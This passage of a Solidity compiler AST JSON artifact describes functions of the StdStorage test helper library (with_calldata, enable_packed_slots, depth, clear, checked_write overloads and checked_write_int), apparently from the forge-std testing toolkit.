pointer"}},"functionReturnParameters":8961,"id":8967,"nodeType":"Return","src":"14320:52:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_calldata","nameLocation":"14209:13:8","parameters":{"id":8957,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8954,"mutability":"mutable","name":"self","nameLocation":"14242:4:8","nodeType":"VariableDeclaration","scope":8969,"src":"14223:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8953,"nodeType":"UserDefinedTypeName","pathNode":{"id":8952,"name":"StdStorage","nameLocations":["14223:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14223:10:8"},"referencedDeclaration":7427,"src":"14223:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8956,"mutability":"mutable","name":"_calldata","nameLocation":"14261:9:8","nodeType":"VariableDeclaration","scope":8969,"src":"14248:22:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8955,"name":"bytes","nodeType":"ElementaryTypeName","src":"14248:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"14222:49:8"},"returnParameters":{"id":8961,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8960,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8969,"src":"14290:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8959,"nodeType":"UserDefinedTypeName","pathNode":{"id":8958,"name":"StdStorage","nameLocations":["14290:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14290:10:8"},"referencedDeclaration":7427,"src":"14290:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14289:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8984,"nodeType":"FunctionDefinition","src":"14385:156:8","nodes":[],"body":{"id":8983,"nodeType":"Block","src":"14477:64:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8980,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8972,"src":"14529:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":8978,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"14494:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8979,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14509:19:8","memberName":"enable_packed_slots","nodeType":"MemberAccess","referencedDeclaration":8268,"src":"14494:34:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer) returns (struct StdStorage storage pointer)"}},"id":8981,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14494:40:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8977,"id":8982,"nodeType":"Return","src":"14487:47:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"enable_packed_slots","nameLocation":"14394:19:8","parameters":{"id":8973,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8972,"mutability":"mutable","name":"self","nameLocation":"14433:4:8","nodeType":"VariableDeclaration","scope":8984,"src":"14414:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8971,"nodeType":"UserDefinedTypeName","pathNode":{"id":8970,"name":"StdStorage","nameLocations":["14414:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14414:10:8"},"referencedDeclaration":7427,"src":"14414:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14413:25:8"},"returnParameters":{"id":8977,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8976,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8984,"src":"14457:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8975,"nodeType":"UserDefinedTypeName","pathNode":{"id":8974,"name":"StdStorage","nameLocations":["14457:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14457:10:8"},"referencedDeclaration":7427,"src":"14457:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14456:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9002,"nodeType":"FunctionDefinition","src":"14547:152:8","nodes":[],"body":{"id":9001,"nodeType":"Block","src":"14641:58:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8997,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8987,"src":"14679:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8998,"name":"_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8989,"src":"14685:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8995,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"14658:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8996,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14673:5:8","memberName":"depth","nodeType":"MemberAccess","referencedDeclaration":8288,"src":"14658:20:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256) returns (struct StdStorage storage pointer)"}},"id":8999,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14658:34:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8994,"id":9000,"nodeType":"Return","src":"14651:41:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"depth","nameLocation":"14556:5:8","parameters":{"id":8990,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8987,"mutability":"mutable","name":"self","nameLocation":"14581:4:8","nodeType":"VariableDeclaration","scope":9002,"src":"14562:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8986,"nodeType":"UserDefinedTypeName","pathNode":{"id":8985,"name":"StdStorage","nameLocations":["14562:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14562:10:8"},"referencedDeclaration":7427,"src":"14562:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8989,"mutability":"mutable","name":"_depth","nameLocation":"14595:6:8","nodeType":"VariableDeclaration","scope":9002,"src":"14587:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8988,"name":"uint256","nodeType":"ElementaryTypeName","src":"14587:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14561:41:8"},"returnParameters":{"id":8994,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8993,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9002,"src":"14621:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8992,"nodeType":"UserDefinedTypeName","pathNode":{"id":8991,"name":"StdStorage","nameLocations":["14621:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14621:10:8"},"referencedDeclaration":7427,"src":"14621:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14620:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9015,"nodeType":"FunctionDefinition","src":"14705:92:8","nodes":[],"body":{"id":9014,"nodeType":"Block","src":"14754:43:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9011,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9005,"src":"14785:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9008,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"14764:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9010,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14779:5:8","memberName":"clear","nodeType":"MemberAccess","referencedDeclaration":8735,"src":"14764:20:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$__$","typeString":"function (struct StdStorage storage pointer)"}},"id":9012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14764:26:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9013,"nodeType":"ExpressionStatement","src":"14764:26:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"clear","nameLocation":"14714:5:8","parameters":{"id":9006,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9005,"mutability":"mutable","name":"self","nameLocation":"14739:4:8","nodeType":"VariableDeclaration","scope":9015,"src":"14720:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9004,"nodeType":"UserDefinedTypeName","pathNode":{"id":9003,"name":"StdStorage","nameLocations":["14720:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14720:10:8"},"referencedDeclaration":7427,"src":"14720:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14719:25:8"},"returnParameters":{"id":9007,"nodeType":"ParameterList","parameters":[],"src":"14754:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9038,"nodeType":"FunctionDefinition","src":"14803:138:8","nodes":[],"body":{"id":9037,"nodeType":"Block","src":"14873:68:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9024,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9018,"src":"14897:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"arguments":[{"arguments":[{"arguments":[{"id":9031,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9020,"src":"14927:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":9030,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"14919:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":9029,"name":"uint160","nodeType":"ElementaryTypeName","src":"14919:7:8","typeDescriptions":{}}},"id":9032,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14919:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":9028,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"14911:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":9027,"name":"uint256","nodeType":"ElementaryTypeName","src":"14911:7:8","typeDescriptions":{}}},"id":9033,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14911:21:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9026,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"14903:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9025,"name":"bytes32","nodeType":"ElementaryTypeName","src":"14903:7:8","typeDescriptions":{}}},"id":9034,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14903:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9023,"name":"checked_write","nodeType":"Identifier","overloadedDeclarations":[9038,9055,9093,9285],"referencedDeclaration":9285,"src":"14883:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$__$","typeString":"function (struct StdStorage storage pointer,bytes32)"}},"id":9035,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14883:51:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9036,"nodeType":"ExpressionStatement","src":"14883:51:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checked_write","nameLocation":"14812:13:8","parameters":{"id":9021,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9018,"mutability":"mutable","name":"self","nameLocation":"14845:4:8","nodeType":"VariableDeclaration","scope":9038,"src":"14826:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9017,"nodeType":"UserDefinedTypeName","pathNode":{"id":9016,"name":"StdStorage","nameLocations":["14826:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14826:10:8"},"referencedDeclaration":7427,"src":"14826:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":9020,"mutability":"mutable","name":"who","nameLocation":"14859:3:8","nodeType":"VariableDeclaration","scope":9038,"src":"14851:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9019,"name":"address","nodeType":"ElementaryTypeName","src":"14851:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"14825:38:8"},"returnParameters":{"id":9022,"nodeType":"ParameterList","parameters":[],"src":"14873:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9055,"nodeType":"FunctionDefinition","src":"14947:120:8","nodes":[],"body":{"id":9054,"nodeType":"Block","src":"15017:50:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9047,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9041,"src":"15041:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"arguments":[{"id":9050,"name":"amt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9043,"src":"15055:3:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9049,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"15047:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9048,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15047:7:8","typeDescriptions":{}}},"id":9051,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15047:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9046,"name":"checked_write","nodeType":"Identifier","overloadedDeclarations":[9038,9055,9093,9285],"referencedDeclaration":9285,"src":"15027:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$__$","typeString":"function (struct StdStorage storage pointer,bytes32)"}},"id":9052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15027:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9053,"nodeType":"ExpressionStatement","src":"15027:33:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checked_write","nameLocation":"14956:13:8","parameters":{"id":9044,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9041,"mutability":"mutable","name":"self","nameLocation":"14989:4:8","nodeType":"VariableDeclaration","scope":9055,"src":"14970:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9040,"nodeType":"UserDefinedTypeName","pathNode":{"id":9039,"name":"StdStorage","nameLocations":["14970:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14970:10:8"},"referencedDeclaration":7427,"src":"14970:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":9043,"mutability":"mutable","name":"amt","nameLocation":"15003:3:8","nodeType":"VariableDeclaration","scope":9055,"src":"14995:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9042,"name":"uint256","nodeType":"ElementaryTypeName","src":"14995:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14969:38:8"},"returnParameters":{"id":9045,"nodeType":"ParameterList","parameters":[],"src":"15017:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9075,"nodeType":"FunctionDefinition","src":"15073:132:8","nodes":[],"body":{"id":9074,"nodeType":"Block","src":"15146:59:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9064,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9058,"src":"15170:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"arguments":[{"arguments":[{"id":9069,"name":"val","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9060,"src":"15192:3:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":9068,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"15184:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":9067,"name":"uint256","nodeType":"ElementaryTypeName","src":"15184:7:8","typeDescriptions":{}}},"id":9070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15184:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9066,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"15176:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9065,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15176:7:8","typeDescriptions":{}}},"id":9071,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15176:21:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9063,"name":"checked_write","nodeType":"Identifier","overloadedDeclarations":[9038,9055,9093,9285],"referencedDeclaration":9285,"src":"15156:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$__$","typeString":"function (struct StdStorage storage pointer,bytes32)"}},"id":9072,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15156:42:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9073,"nodeType":"ExpressionStatement","src":"15156:42:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checked_write_int","nameLocation":"15082:17:8","parameters":{"id":9061,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9058,"mutability":"mutable","name":"self","nameLocation":"15119:4:8","nodeType":"VariableDeclaration","scope":9075,"src":"15100:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9057,"nodeType":"UserDefinedTypeName","pathNode":{"id":9056,"name":"StdStorage","nameLocations":["15100:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"15100:10:8"},"referencedDeclaration":7427,"src":"15100:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":9060,"mutability":"mutable","name":"val","nameLocation":"15132:3:8","nodeType":"VariableDeclaration","scope":9075,"src":"15125:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":9059,"name":"int256","nodeType":"ElementaryTypeName","src":"15125:6:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"15099:37:8"},"returnParameters":{"id":9062,"nodeType":"ParameterList","parameters":[],"src":"15146:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9093,"nodeType":"FunctionDefinition","src":"15211:222:8","nodes":[],"body":{"id":9092,"nodeType":"Block","src":"15280:153:8","nodes":[],"statements":[{"assignments":[9084],"declarations":[{"constant":false,"id":9084,"mutability":"mutable","name":"t","nameLocation":"15298:1:8","nodeType":"VariableDeclaration","scope":9092,"src":"15290:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9083,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15290:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":9085,"nodeType":"VariableDeclarationStatement","src":"15290:9:8"},{"AST":{"nativeSrc":"15361:34:8","nodeType":"YulBlock","src":"15361:34:8","statements":[{"nativeSrc":"15375:10:8","nodeType":"YulAssignment","src":"15375:10:8","value":{"name":"write","nativeSrc":"15380:5:8","nodeType":"YulIdentifier","src":"15380:5:8"},"variableNames":[{"name":"t","nativeSrc":"15375:1:8","nodeType":"YulIdentifier","src":"15375:1:8"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":9084,"isOffset":false,"isSlot":false,"src":"15375:1:8","valueSize":1},{"declaration":9080,"isOffset":false,"isSlot":false,"src":"15380:5:8","valueSize":1}],"id":9086,"nodeType":"InlineAssembly","src":"15352:43:8"},{"expression":{"arguments":[{"id":9088,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9078,"src":"15418:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":9089,"name":"t","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9084,"src":"15424:1:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9087,"name":"checked_write","nodeType":"Identifier","overloadedDeclarations":[9038,9055,9093,9285],"referencedDeclaration":9285,"src":"15404:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$__$","typeString":"function (struct StdStorage storage pointer,bytes32)"}},"id":9090,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15404:22:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9091,"nodeType":"ExpressionStatement","src":"15404:22:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checked_write","nameLocation":"15220:13:8","parameters":{"id":9081,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9078,"mutability":"mutable","name":"self","nameLocation":"15253:4:8","nodeType":"VariableDeclaration","scope":9093,"src":"15234:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9077,"nodeType":"UserDefinedTypeName","pathNode":{"id":9076,"name":"StdStorage","nameLocations":["15234:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"15234:10:8"},"referencedDeclaration":7427,"src":"15234:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct 